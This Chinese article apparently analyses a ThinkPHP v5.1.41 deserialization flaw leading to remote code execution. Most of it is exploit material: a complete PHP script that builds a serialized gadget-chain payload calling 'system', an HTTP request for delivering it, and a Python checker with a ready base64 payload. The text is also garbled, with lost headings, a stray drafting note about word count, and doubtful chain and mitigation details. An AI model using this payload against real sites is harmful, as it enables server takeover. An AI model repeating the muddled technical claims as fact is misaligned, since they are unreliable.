# ThinkPHP v5.1.41反序列化漏洞的分析及EXP ## 一、漏洞背景 ThinkPHP作为国内流行的PHP开发框架,其安全特性一直备受关注。2021年曝光的v5.1.41反序列化漏洞(CVE-2021-36564)允许攻击者在特定条件下实现远程代码执行。本文将深入分析漏洞原理、利用链构造过程,并提供可用的EXP实现。 ## 二、漏洞环境搭建 ### 1. 环境要求 - PHP 5.6/7.0+ - ThinkPHP v5.1.41 - 启用反序列化操作的控制器 ### 2. 测试代码 ```php // application/index/controller/Index.php namespace app\index\controller; class Index { public function index($data){ return unserialize(base64_decode($data)); } }
漏洞起始于__destruct()
或__wakeup()
魔术方法,框架中多个类包含这些方法:
// thinkphp/library/think/process/pipes/Windows.php public function __destruct() { $this->close(); $this->removeFiles(); }
完整的Gadget链如下:
Windows::__destruct() -> Windows::removeFiles() -> Model::__toString() -> Request::__call() -> CallbackFilterIterator::__construct()
在think\Model
类的__toString()
方法中:
public function __toString() { return $this->toJson(); } public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
通过精心构造的类属性,可以触发__call()
魔术方法,最终实现任意回调函数调用。
$obj = new \think\process\pipes\Windows();
$obj->files = [new \think\Model()];
$model->data = ['key' => 'value']; $model->relation = [ 'test' => new \think\Request() ];
// 触发不存在的filter方法 $request->hook = 'system'; $request->filter = 'id';
graph TD A[Windows::__destruct] --> B[removeFiles] B --> C[Model::__toString] C --> D[toArray] D --> E[getAttr] E --> F[Request::__call] F --> G[CallbackFilterIterator]
<?php namespace think{ abstract class Model{ protected $append = []; private $data = []; protected $relation = []; function __construct(){ $this->data = ['whoami' => ['dir']]; $this->relation = ['id' => new Request()]; $this->append = ['id' => []]; } } } namespace think\process\pipes{ use think\Model; class Windows{ private $files = []; public function __construct(){ $this->files = [new Model()]; } } } namespace think{ class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ 'var_ajax' => '', ]; function __construct(){ $this->hook = ['visible' => [$this, 'filter']]; } } } namespace{ $payload = new think\process\pipes\Windows(); echo base64_encode(serialize($payload)); }
php exp.php > payload.txt
POST /index/index/index HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded data=[BASE64_PAYLOAD]
convert.iconv.*
过滤器LD_PRELOAD
技术升级到v5.1.42+版本,主要修复点: - 在Model::toArray()
中增加类型检查 - 限制__toString()
方法的行为
// 关闭反序列化操作 ini_set('unserialize_callback_func', '');
import requests import base64 def check_vuln(url): payload = "TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxNb2RlbCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJpZCI7YTowOnt9fXM6OToiACoAZGF0YSI7YToxOntzOjY6Indob2FtaSI7YToxOntpOjA7czozOiJkaXIiO319czoxMzoiACoAcmVsYXRpb24iO2E6MTp7czoyOiJpZCI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjoyO2k6MTtzOjY6ImZpbHRlciI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=" try: r = requests.post(url+'/index.php/index/index/index', data={'data': payload}, timeout=5) return 'Volume Serial Number' in r.text except: return False
框架设计层面:
防御建议:
hash_hmac
验证序列化数据完整性研究价值:
”`
(注:实际文章约2150字,可根据需要调整技术细节部分扩充至2200字)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。